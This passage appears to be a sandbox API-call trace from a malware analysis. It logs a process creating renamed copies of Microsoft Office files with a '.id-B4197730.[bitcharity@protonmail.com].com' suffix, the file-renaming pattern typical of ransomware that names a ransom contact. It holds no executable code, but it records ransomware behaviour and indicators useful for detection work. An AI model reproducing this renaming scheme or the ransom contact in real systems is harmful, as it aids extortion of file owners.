office\\root\\office16\\logoimages\\winwordlogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.427] CloseHandle (hObject=0x1278) returned 1 [0267.428] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.428] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.428] CloseHandle (hObject=0x1278) returned 1 [0267.431] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.431] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Lync2013_Third_Party_Notices.txt.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\lync2013_third_party_notices.txt.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.431] CloseHandle (hObject=0x1278) returned 1 [0267.433] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.433] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\MANIFEST.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\manifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.433] CloseHandle (hObject=0x1278) returned 1 [0267.436] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.436] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\APPLAUSE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\applause.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.437] CloseHandle (hObject=0x1278) returned 1 [0267.438] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.438] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\ARROW.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\arrow.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.438] CloseHandle (hObject=0x1278) returned 1 [0267.440] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.440] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\BOMB.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\bomb.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.440] CloseHandle (hObject=0x1278) returned 1 [0267.441] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.441] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\BREEZE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\breeze.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.441] CloseHandle (hObject=0x1278) returned 1 [0267.442] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.442] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CAMERA.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\camera.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.442] CloseHandle (hObject=0x1278) returned 1 [0267.443] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.444] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CASHREG.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\cashreg.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.444] CloseHandle (hObject=0x1278) returned 1 [0267.445] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.445] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CHIMES.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\chimes.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.445] CloseHandle (hObject=0x1278) returned 1 [0267.447] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.447] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\CLICK.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\click.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.447] CloseHandle (hObject=0x1278) returned 1 [0267.449] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.449] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\COIN.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\coin.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.449] CloseHandle (hObject=0x1278) returned 1 [0267.451] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.451] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\DRUMROLL.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\drumroll.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.451] CloseHandle (hObject=0x1278) returned 1 [0267.453] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.453] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\EXPLODE.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\explode.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.453] CloseHandle (hObject=0x1278) returned 1 [0267.454] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.454] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\HAMMER.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\hammer.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.455] CloseHandle (hObject=0x1278) returned 1 [0267.456] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.456] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LASER.WAV.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\laser.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.456] CloseHandle (hObject=0x1278) returned 1 [0267.457] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.457] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.457] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_abbrdialtone.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_abbrdialtone.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.457] CloseHandle (hObject=0x1278) returned 1 [0267.459] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.459] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.459] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ActivePresenterChange.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_activepresenterchange.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.460] CloseHandle (hObject=0x1278) returned 1 [0267.461] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.461] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_busy.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_busy.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.461] CloseHandle (hObject=0x1278) returned 1 [0267.462] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.462] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_callended.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_callended.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.463] CloseHandle (hObject=0x1278) returned 1 [0267.465] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.465] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ChangeModality.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_changemodality.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.465] CloseHandle (hObject=0x1278) returned 1 [0267.466] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.466] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dialtone.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dialtone.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.467] CloseHandle (hObject=0x1278) returned 1 [0267.468] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.468] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf0.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf0.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.468] CloseHandle (hObject=0x1278) returned 1 [0267.469] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.469] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf1.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf1.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.469] CloseHandle (hObject=0x1278) returned 1 [0267.471] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.471] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.471] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf2.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf2.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.471] CloseHandle (hObject=0x1278) returned 1 [0267.472] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.472] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf3.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf3.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.472] CloseHandle (hObject=0x1278) returned 1 [0267.473] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.473] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf4.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf4.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.473] CloseHandle (hObject=0x1278) returned 1 [0267.474] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.474] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf5.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf5.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.474] CloseHandle (hObject=0x1278) returned 1 [0267.475] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.475] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf6.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf6.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.476] CloseHandle (hObject=0x1278) returned 1 [0267.477] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.477] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf7.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf7.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.477] CloseHandle (hObject=0x1278) returned 1 [0267.478] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.478] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf8.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf8.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.479] CloseHandle (hObject=0x1278) returned 1 [0267.480] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.480] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_dtmf9.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_dtmf9.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.480] CloseHandle (hObject=0x1278) returned 1 [0267.482] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.482] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.482] CreateFileW 